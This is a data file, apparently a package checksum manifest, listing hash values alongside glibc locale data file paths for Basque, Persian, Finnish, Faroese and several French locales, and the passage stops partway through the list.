/usr/lib/locale/eu_ES.utf8@euro/LC_TELEPHONE +3d7a1219892806152491159f217f6fa0 /usr/lib/locale/eu_ES.utf8@euro/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/eu_ES.utf8@euro/LC_MEASUREMENT +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/eu_ES.utf8@euro/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/eu_ES.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/eu_ES.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/eu_ES.utf8@euro/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/eu_ES.utf8@euro/LC_CTYPE +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/eu_ES.utf8@euro/LC_COLLATE +9b18bd3c09ec2b29c5c39917cc864c57 /usr/lib/locale/eu_ES@euro/LC_MESSAGES/SYS_LC_MESSAGES +d293c46ccbbbe250ac38b13f7b283c1b /usr/lib/locale/eu_ES@euro/LC_TIME +45d02386449a4872b0a64d5a845d908f /usr/lib/locale/eu_ES@euro/LC_IDENTIFICATION +ff3f5c3bcfc40df3aab96c3011f53b59 /usr/lib/locale/eu_ES@euro/LC_TELEPHONE +855e30f44302ddb302743fb6d061b462 /usr/lib/locale/eu_ES@euro/LC_MONETARY +b7d183bf4367f2cfdfe88aa1667a5d5d /usr/lib/locale/eu_ES@euro/LC_COLLATE +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/eu_ES@euro/LC_MEASUREMENT +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/eu_ES@euro/LC_PAPER +1b0d9ccc475b3ee8255f9c7b0bc4aba1 /usr/lib/locale/eu_ES@euro/LC_NUMERIC +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/eu_ES@euro/LC_NAME +d9b1fa625a566959a39b3dd9b3036d0a /usr/lib/locale/eu_ES@euro/LC_CTYPE +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/eu_ES@euro/LC_ADDRESS +e1864db91f02ade5e69005d9c868044a /usr/lib/locale/fa_IR/LC_IDENTIFICATION +e3e7ea88d4ec0214aa7338e2b6bbf0cd /usr/lib/locale/fa_IR/LC_ADDRESS +0335d63c5d990c57aead22f810eda6f7 /usr/lib/locale/fa_IR/LC_COLLATE +dbb8a4d94d7ad49c51920d4e6433328a /usr/lib/locale/fa_IR/LC_CTYPE +f50ebfe9b079aaebc09542ca0ca4b4e6 /usr/lib/locale/fa_IR/LC_MESSAGES/SYS_LC_MESSAGES +8a2b154986e3db93f4e19e68ba9363d7 /usr/lib/locale/fa_IR/LC_TELEPHONE +042dd9a691910b4d75e834dd1007395e /usr/lib/locale/fa_IR/LC_MONETARY +d1b01e6a95a4f4ed55e4710271874f47 /usr/lib/locale/fa_IR/LC_NAME +96e08951b195fc8334587d2ac89f1ba2 /usr/lib/locale/fa_IR/LC_NUMERIC +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fa_IR/LC_PAPER +15499333f328b53bc10174ca10110ed7 /usr/lib/locale/fa_IR/LC_TIME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fa_IR/LC_MEASUREMENT +014a633ab2e240f64693504182b368e2 /usr/lib/locale/fi_FI/LC_MESSAGES/SYS_LC_MESSAGES +fdce72454df21cf9a69a0d55017a28c1 /usr/lib/locale/fi_FI/LC_TIME +1df0b9b82aaa2fa7ed9b7020e2c2c5ce /usr/lib/locale/fi_FI/LC_IDENTIFICATION +0533217f87815805fc3f2eb4be0224b5 /usr/lib/locale/fi_FI/LC_TELEPHONE +46b67dd73b6055266ba616c07131e967 /usr/lib/locale/fi_FI/LC_MONETARY +d4437a5d9a7c094eb8e70101f8b05347 /usr/lib/locale/fi_FI/LC_COLLATE +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/fi_FI/LC_PAPER +9803aabd8b3564c9febbd871fd579a3c /usr/lib/locale/fi_FI/LC_NUMERIC +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fi_FI/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fi_FI/LC_MEASUREMENT +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/fi_FI/LC_CTYPE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fi_FI/LC_ADDRESS +d56b36e8952ebdd6001801af7abd8fbd /usr/lib/locale/fi_FI.utf8/LC_MESSAGES/SYS_LC_MESSAGES +cea17b0cab44cf3dc3a21cd21f72ff14 /usr/lib/locale/fi_FI.utf8/LC_TIME +42ba0d794d806c5681e63ae330aacf6f /usr/lib/locale/fi_FI.utf8/LC_IDENTIFICATION +aeb5bd60b8bf6cf34cd50101c8fee306 /usr/lib/locale/fi_FI.utf8/LC_TELEPHONE +b55c10a5e777d455af8ae8f7bf11d91e /usr/lib/locale/fi_FI.utf8/LC_MONETARY +66eea728a3fe59f0536f862a2d4594c3 /usr/lib/locale/fi_FI.utf8/LC_COLLATE +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/fi_FI.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fi_FI.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fi_FI.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fi_FI.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fi_FI.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/fi_FI.utf8/LC_CTYPE +d56b36e8952ebdd6001801af7abd8fbd /usr/lib/locale/fi_FI.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +cea17b0cab44cf3dc3a21cd21f72ff14 /usr/lib/locale/fi_FI.utf8@euro/LC_TIME +2313a0031333a838538c8efa0f31d595 /usr/lib/locale/fi_FI.utf8@euro/LC_IDENTIFICATION +aeb5bd60b8bf6cf34cd50101c8fee306 /usr/lib/locale/fi_FI.utf8@euro/LC_TELEPHONE +75416e7e92590faa82972b3593b3de4c /usr/lib/locale/fi_FI.utf8@euro/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fi_FI.utf8@euro/LC_MEASUREMENT +66eea728a3fe59f0536f862a2d4594c3 /usr/lib/locale/fi_FI.utf8@euro/LC_COLLATE +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/fi_FI.utf8@euro/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fi_FI.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fi_FI.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fi_FI.utf8@euro/LC_PAPER +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/fi_FI.utf8@euro/LC_CTYPE +021f9ba6d1693664d7ade5a1ce08b0cc /usr/lib/locale/fi_FI@euro/LC_MESSAGES/SYS_LC_MESSAGES +b351917c25376ce8fea3b6c01ff5dd1a /usr/lib/locale/fi_FI@euro/LC_TIME +6dffbdbeaf4efb143815f9d36cae5761 /usr/lib/locale/fi_FI@euro/LC_IDENTIFICATION +b83216445bb82dea2a64328920791ff5 /usr/lib/locale/fi_FI@euro/LC_TELEPHONE +65e1129ed7d9ce04abe3032c6d8473fd /usr/lib/locale/fi_FI@euro/LC_MONETARY +4a32fd994985ed29c28619f9feefc089 /usr/lib/locale/fi_FI@euro/LC_COLLATE +c5d2244cf5e4ac17aab196961169f97e /usr/lib/locale/fi_FI@euro/LC_NUMERIC +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/fi_FI@euro/LC_PAPER +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/fi_FI@euro/LC_NAME +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/fi_FI@euro/LC_MEASUREMENT +d9b1fa625a566959a39b3dd9b3036d0a /usr/lib/locale/fi_FI@euro/LC_CTYPE +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/fi_FI@euro/LC_ADDRESS +d7709b8ca6e9ffd872e5177c2a421a79 /usr/lib/locale/fo_FO/LC_MESSAGES/SYS_LC_MESSAGES +23fb634f45628c142949da69b6bda23d /usr/lib/locale/fo_FO/LC_TIME +0d1f0a66f1d531b22db7b33d1bba7c63 /usr/lib/locale/fo_FO/LC_IDENTIFICATION +3dec38dddc0c819ab770c9519eb1e6c7 /usr/lib/locale/fo_FO/LC_TELEPHONE +88dfddedbbaeb9d23c1e1d7b8d1f1594 /usr/lib/locale/fo_FO/LC_MONETARY +1e9fbd3eb788b9db90142a0ca06a623e /usr/lib/locale/fo_FO/LC_COLLATE +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/fo_FO/LC_PAPER +9803aabd8b3564c9febbd871fd579a3c /usr/lib/locale/fo_FO/LC_NUMERIC +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fo_FO/LC_NAME +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fo_FO/LC_MEASUREMENT +6c5e5033ee3bbded5815a975062fd53e /usr/lib/locale/fo_FO/LC_CTYPE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fo_FO/LC_ADDRESS +6762009ffdd6a02ff87ec0a0aaa854b7 /usr/lib/locale/fo_FO.utf8/LC_MESSAGES/SYS_LC_MESSAGES +5e70ad92a5ae65b612d0cb25e1c4c0ed /usr/lib/locale/fo_FO.utf8/LC_TIME +e23584ee568d3f7ce11b7a5014137ffe /usr/lib/locale/fo_FO.utf8/LC_IDENTIFICATION +e2a5f0a28de57a9c2d06e172c361cab2 /usr/lib/locale/fo_FO.utf8/LC_TELEPHONE +8fbeae5221b8182dd44109b2e39dde6c /usr/lib/locale/fo_FO.utf8/LC_MONETARY +fe1eaedb32821ba89ad480235f6f502d /usr/lib/locale/fo_FO.utf8/LC_COLLATE +1e8c9ff4219cbab439739acc0d523bbb /usr/lib/locale/fo_FO.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fo_FO.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fo_FO.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fo_FO.utf8/LC_PAPER +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fo_FO.utf8/LC_MEASUREMENT +eab22f048ec077baf9511b8f91ef46c3 /usr/lib/locale/fo_FO.utf8/LC_CTYPE +9e8cf9be98236c7327c479ea65447570 /usr/lib/locale/fr_BE/LC_MESSAGES/SYS_LC_MESSAGES +f1863727f328970f83ffc4a7021c69de /usr/lib/locale/fr_BE/LC_TIME +80fa9015a7a4936ae33866c7ab99afdc /usr/lib/locale/fr_BE/LC_IDENTIFICATION +5c5d77d112557796ca01e0fe2e7b0ab2 /usr/lib/locale/fr_BE/LC_TELEPHONE +1db58ebffafd13501f0609588ae648d1 /usr/lib/locale/fr_BE/LC_NUMERIC +3f23838cca0f6d2e012971e07afab107 /usr/lib/locale/fr_BE/LC_MONETARY +87cb92850fcaf51615a9f175b05327e1 /usr/lib/locale/fr_BE/LC_CTYPE +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fr_BE/LC_MEASUREMENT +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/fr_BE/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fr_BE/LC_NAME +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/fr_BE/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fr_BE/LC_ADDRESS +9236c680c7d5ac2fb12821fb3fefcbbb /usr/lib/locale/fr_BE.utf8/LC_MESSAGES/SYS_LC_MESSAGES +88393b43b3b787839a639c30f96d61a8 /usr/lib/locale/fr_BE.utf8/LC_TIME +df14788f4a30146c06d0c5e135eed823 /usr/lib/locale/fr_BE.utf8/LC_IDENTIFICATION +a320b75a9e07f584d36c1852644a1d22 /usr/lib/locale/fr_BE.utf8/LC_TELEPHONE +bd7095905e0a636f05f8da3747490966 /usr/lib/locale/fr_BE.utf8/LC_MONETARY +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_BE.utf8/LC_CTYPE +a914cc86d1ef2e652d22e174e11356eb /usr/lib/locale/fr_BE.utf8/LC_NUMERIC +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_BE.utf8/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_BE.utf8/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_BE.utf8/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_BE.utf8/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_BE.utf8/LC_COLLATE +9236c680c7d5ac2fb12821fb3fefcbbb /usr/lib/locale/fr_BE.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +88393b43b3b787839a639c30f96d61a8 /usr/lib/locale/fr_BE.utf8@euro/LC_TIME +612f59a9330ef2441ddd155ba5fa27bc /usr/lib/locale/fr_BE.utf8@euro/LC_IDENTIFICATION +a320b75a9e07f584d36c1852644a1d22 /usr/lib/locale/fr_BE.utf8@euro/LC_TELEPHONE +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_BE.utf8@euro/LC_CTYPE +a914cc86d1ef2e652d22e174e11356eb /usr/lib/locale/fr_BE.utf8@euro/LC_NUMERIC +f56e0578821139a3e6702c141864ca11 /usr/lib/locale/fr_BE.utf8@euro/LC_MONETARY +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_BE.utf8@euro/LC_ADDRESS +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_BE.utf8@euro/LC_NAME +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_BE.utf8@euro/LC_MEASUREMENT +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_BE.utf8@euro/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_BE.utf8@euro/LC_COLLATE +e02b6b73e44db81b08db1252f3e5beb4 /usr/lib/locale/fr_BE@euro/LC_MESSAGES/SYS_LC_MESSAGES +4fad03f231571241f3ae83a13ba04637 /usr/lib/locale/fr_BE@euro/LC_TIME +85f8aac818b8b7564115e5106e08b529 /usr/lib/locale/fr_BE@euro/LC_IDENTIFICATION +1526b18112e677f93665d4dae53b26fe /usr/lib/locale/fr_BE@euro/LC_TELEPHONE +df946a1e58ad3c38c7f494a5c70a7035 /usr/lib/locale/fr_BE@euro/LC_NUMERIC +6634aac84801e2c2871afedc4e258893 /usr/lib/locale/fr_BE@euro/LC_CTYPE +7c2b429421ff8f40dabc003d65d1a00b /usr/lib/locale/fr_BE@euro/LC_MONETARY +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/fr_BE@euro/LC_MEASUREMENT +b7d183bf4367f2cfdfe88aa1667a5d5d /usr/lib/locale/fr_BE@euro/LC_COLLATE +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/fr_BE@euro/LC_PAPER +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/fr_BE@euro/LC_NAME +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/fr_BE@euro/LC_ADDRESS +570c555a6ff414b4ab5010df8c78b5e8 /usr/lib/locale/fr_CA/LC_MESSAGES/SYS_LC_MESSAGES +43116894714e57b2d4420f5b02cb14d3 /usr/lib/locale/fr_CA/LC_TIME +d457e5bc1aae12ef237fc2ba3e203af6 /usr/lib/locale/fr_CA/LC_IDENTIFICATION +2b251a0f4eee63977d28451433ac99a9 /usr/lib/locale/fr_CA/LC_TELEPHONE +43518a942b90c2f2c1f7a08ba0dfed9a /usr/lib/locale/fr_CA/LC_MONETARY +141801b0574bbedc1fd45739f9075f0a /usr/lib/locale/fr_CA/LC_NUMERIC +87cb92850fcaf51615a9f175b05327e1 /usr/lib/locale/fr_CA/LC_CTYPE +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fr_CA/LC_MEASUREMENT +9118f2d9cbd86d541e26fc3b3d39f830 /usr/lib/locale/fr_CA/LC_PAPER +50486fdeaaf50f0eae221630f177418e /usr/lib/locale/fr_CA/LC_COLLATE +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fr_CA/LC_NAME +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fr_CA/LC_ADDRESS +a7e0cb449d8ff02ad9cb459d8ff881e0 /usr/lib/locale/fr_CA.utf8/LC_MESSAGES/SYS_LC_MESSAGES +87e6ccbb29bf137d9271d04cf6c222d5 /usr/lib/locale/fr_CA.utf8/LC_TIME +f78803e60a22dd884123425dc5bee75b /usr/lib/locale/fr_CA.utf8/LC_IDENTIFICATION +6df61b304a18038f9a473bb822993aab /usr/lib/locale/fr_CA.utf8/LC_TELEPHONE +b2d55cba1d0e45170a418a049c1f6f33 /usr/lib/locale/fr_CA.utf8/LC_MONETARY +813cf43c9a4bac34a520abc9066c1c26 /usr/lib/locale/fr_CA.utf8/LC_NUMERIC +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_CA.utf8/LC_CTYPE +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_CA.utf8/LC_MEASUREMENT +f0ea34926604ccd6562bd37402c9557f /usr/lib/locale/fr_CA.utf8/LC_PAPER +9d73e7869963718b959503acdf6abc52 /usr/lib/locale/fr_CA.utf8/LC_COLLATE +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_CA.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_CA.utf8/LC_ADDRESS +8ad7d9206a26a895af40544e4e5a6595 /usr/lib/locale/fr_CH/LC_MESSAGES/SYS_LC_MESSAGES +3105b213716a874160ac2ca74f4f5a2b /usr/lib/locale/fr_CH/LC_TIME +59e3a2000ae5cb10519688dc43dc6a48 /usr/lib/locale/fr_CH/LC_IDENTIFICATION +1364976beffe21d85038dcea601c1406 /usr/lib/locale/fr_CH/LC_TELEPHONE +87cb92850fcaf51615a9f175b05327e1 /usr/lib/locale/fr_CH/LC_CTYPE +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fr_CH/LC_MEASUREMENT +45363dab640ad5556e7aa902d46135ee /usr/lib/locale/fr_CH/LC_MONETARY +e87e3620d7ee9b382318942244365662 /usr/lib/locale/fr_CH/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/fr_CH/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fr_CH/LC_NAME +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/fr_CH/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fr_CH/LC_ADDRESS +874b39f67743244066aa7de2c76a6123 /usr/lib/locale/fr_CH.utf8/LC_MESSAGES/SYS_LC_MESSAGES +919c25ca6ae68fb7a36081e2ced86a32 /usr/lib/locale/fr_CH.utf8/LC_TIME +d819de96125946a8186159eb26f70c6a /usr/lib/locale/fr_CH.utf8/LC_IDENTIFICATION +3d4bee0c4beb5bc7f96ea8489cf2a0c4 /usr/lib/locale/fr_CH.utf8/LC_TELEPHONE +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_CH.utf8/LC_CTYPE +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_CH.utf8/LC_MEASUREMENT +1f9660ea9082e43e0b4ed2d245d9cbab /usr/lib/locale/fr_CH.utf8/LC_MONETARY +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/fr_CH.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_CH.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_CH.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_CH.utf8/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_CH.utf8/LC_COLLATE +570c555a6ff414b4ab5010df8c78b5e8 /usr/lib/locale/fr_FR/LC_MESSAGES/SYS_LC_MESSAGES +83f4d5746b8dc5099ea461973d7e68d1 /usr/lib/locale/fr_FR/LC_TIME +3622246e71760929b9ef0035a9771894 /usr/lib/locale/fr_FR/LC_IDENTIFICATION +bef80905507aed676f17b54760b79c7a /usr/lib/locale/fr_FR/LC_TELEPHONE +87cb92850fcaf51615a9f175b05327e1 /usr/lib/locale/fr_FR/LC_CTYPE +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fr_FR/LC_MEASUREMENT +e87e3620d7ee9b382318942244365662 /usr/lib/locale/fr_FR/LC_NUMERIC +babe18fb9eae0643a69f8e7848aa9f8b /usr/lib/locale/fr_FR/LC_MONETARY +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/fr_FR/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fr_FR/LC_NAME +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/fr_FR/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fr_FR/LC_ADDRESS +a7e0cb449d8ff02ad9cb459d8ff881e0 /usr/lib/locale/fr_FR.utf8/LC_MESSAGES/SYS_LC_MESSAGES +24b688ac0ac610482f47ef60d08c41b6 /usr/lib/locale/fr_FR.utf8/LC_TIME +c280ef8af7ceeb61283a0fdc6e34198a /usr/lib/locale/fr_FR.utf8/LC_IDENTIFICATION +2fe9471ea089c19be5c5dcf760cadc93 /usr/lib/locale/fr_FR.utf8/LC_TELEPHONE +8e38d313b8249ff57d2bdf49b1e9e7d9 /usr/lib/locale/fr_FR.utf8/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_FR.utf8/LC_MEASUREMENT +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_FR.utf8/LC_CTYPE +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/fr_FR.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_FR.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_FR.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_FR.utf8/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_FR.utf8/LC_COLLATE +a7e0cb449d8ff02ad9cb459d8ff881e0 /usr/lib/locale/fr_FR.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +24b688ac0ac610482f47ef60d08c41b6 /usr/lib/locale/fr_FR.utf8@euro/LC_TIME +77dfcba6e23d96595809eb94e46f5f92 /usr/lib/locale/fr_FR.utf8@euro/LC_IDENTIFICATION +2fe9471ea089c19be5c5dcf760cadc93 /usr/lib/locale/fr_FR.utf8@euro/LC_TELEPHONE +b9f1166f7b0d5316a73f619045f2a83e /usr/lib/locale/fr_FR.utf8@euro/LC_MONETARY +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_FR.utf8@euro/LC_MEASUREMENT +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_FR.utf8@euro/LC_CTYPE +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/fr_FR.utf8@euro/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_FR.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_FR.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_FR.utf8@euro/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_FR.utf8@euro/LC_COLLATE +9f3e8212c9379027d646b4a483671d54 /usr/lib/locale/fr_FR@euro/LC_MESSAGES/SYS_LC_MESSAGES +34169d22b61cda7c5631734cfb2c1fb6 /usr/lib/locale/fr_FR@euro/LC_TIME +976ed2ae01ed5396f1eae3f459297287 /usr/lib/locale/fr_FR@euro/LC_IDENTIFICATION +6ba7c7cf7f36d44dc449fd41c8e52eee /usr/lib/locale/fr_FR@euro/LC_TELEPHONE +50ae7038078ef7f40fdb98a6589b658f /usr/lib/locale/fr_FR@euro/LC_MONETARY +6634aac84801e2c2871afedc4e258893 /usr/lib/locale/fr_FR@euro/LC_CTYPE +b7d183bf4367f2cfdfe88aa1667a5d5d /usr/lib/locale/fr_FR@euro/LC_COLLATE +c8d0b32a3a4c7fd13e654482eda18620 /usr/lib/locale/fr_FR@euro/LC_PAPER +1b0d9ccc475b3ee8255f9c7b0bc4aba1 /usr/lib/locale/fr_FR@euro/LC_NUMERIC +7809ac117e96c386beffe3ebdacca6dc /usr/lib/locale/fr_FR@euro/LC_NAME +67269a7b9cd9fe5f02919e948a231c34 /usr/lib/locale/fr_FR@euro/LC_MEASUREMENT +b4210496dbffa5fde62d96cbbaa739fd /usr/lib/locale/fr_FR@euro/LC_ADDRESS +570c555a6ff414b4ab5010df8c78b5e8 /usr/lib/locale/fr_LU/LC_MESSAGES/SYS_LC_MESSAGES +83f4d5746b8dc5099ea461973d7e68d1 /usr/lib/locale/fr_LU/LC_TIME +c7514825adc921d379063b19b2ec9185 /usr/lib/locale/fr_LU/LC_IDENTIFICATION +e3f05f0d2781ad01cf95eb2a99973e12 /usr/lib/locale/fr_LU/LC_TELEPHONE +68f63c5bb1cb251fbbee1bb1e14a304b /usr/lib/locale/fr_LU/LC_MONETARY +87cb92850fcaf51615a9f175b05327e1 /usr/lib/locale/fr_LU/LC_CTYPE +90fe15212a1ac184814f6171928b0e1d /usr/lib/locale/fr_LU/LC_MEASUREMENT +e87e3620d7ee9b382318942244365662 /usr/lib/locale/fr_LU/LC_NUMERIC +74a67436a5f50d83f924c404cbbf8e66 /usr/lib/locale/fr_LU/LC_PAPER +56b7ef56b353c460bc80c192ec1627cf /usr/lib/locale/fr_LU/LC_NAME +74ad1041fbc8a219f9e8fdf1436ff5c0 /usr/lib/locale/fr_LU/LC_COLLATE +84cd44be8697f7593a4b38002c12b5df /usr/lib/locale/fr_LU/LC_ADDRESS +a7e0cb449d8ff02ad9cb459d8ff881e0 /usr/lib/locale/fr_LU.utf8/LC_MESSAGES/SYS_LC_MESSAGES +24b688ac0ac610482f47ef60d08c41b6 /usr/lib/locale/fr_LU.utf8/LC_TIME +bd0e2fb647310da0bdd6daadf449159e /usr/lib/locale/fr_LU.utf8/LC_IDENTIFICATION +be1188d8e2ce1d0280b0e2b006d4bf50 /usr/lib/locale/fr_LU.utf8/LC_TELEPHONE +e854c31dbaee3e1c26c089c0b93fdace /usr/lib/locale/fr_LU.utf8/LC_MONETARY +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_LU.utf8/LC_CTYPE +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_LU.utf8/LC_MEASUREMENT +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/fr_LU.utf8/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_LU.utf8/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_LU.utf8/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_LU.utf8/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_LU.utf8/LC_COLLATE +a7e0cb449d8ff02ad9cb459d8ff881e0 /usr/lib/locale/fr_LU.utf8@euro/LC_MESSAGES/SYS_LC_MESSAGES +24b688ac0ac610482f47ef60d08c41b6 /usr/lib/locale/fr_LU.utf8@euro/LC_TIME +cf72c4c95e2281859e81f521d19802a2 /usr/lib/locale/fr_LU.utf8@euro/LC_IDENTIFICATION +be1188d8e2ce1d0280b0e2b006d4bf50 /usr/lib/locale/fr_LU.utf8@euro/LC_TELEPHONE +b9f1166f7b0d5316a73f619045f2a83e /usr/lib/locale/fr_LU.utf8@euro/LC_MONETARY +2c90c31372e8d570b0cde46cc5cc8047 /usr/lib/locale/fr_LU.utf8@euro/LC_CTYPE +2bdf3c383185857860a6bc2ad60ef9bd /usr/lib/locale/fr_LU.utf8@euro/LC_MEASUREMENT +3ae4a56ff88ab5dbc96932cd2be10055 /usr/lib/locale/fr_LU.utf8@euro/LC_NUMERIC +c3a1cc9fcc203febec7c2fe1770abd10 /usr/lib/locale/fr_LU.utf8@euro/LC_NAME +0d20d1d42c10d0658e713e845c9b642c /usr/lib/locale/fr_LU.utf8@euro/LC_ADDRESS +3d736a5f344da23842f8a5e927373569 /usr/lib/locale/fr_LU.utf8@euro/LC_PAPER +7055ed589bdfe4d4ab38dbd83e2ef642 /usr/lib/locale/fr_LU.utf8@euro/LC_COLLATE +9f3e8212c9379027d646b4a483671d54 /usr/lib/locale/fr_LU@euro/LC_MESSAGES/SYS_LC_MESSAGES +34169d22b61cda7c5631734cfb2c1fb6 /usr/lib/locale/fr_LU@euro/LC_TIME +8773e4d3a7224421ce0280fc9f0d4442 /usr/lib/locale/fr_LU@euro/LC_IDENTIFICATION +51c314e41fdd8fbf4e23e28857221e11 /usr/lib/locale/fr_LU@euro/LC_TELEPHONE 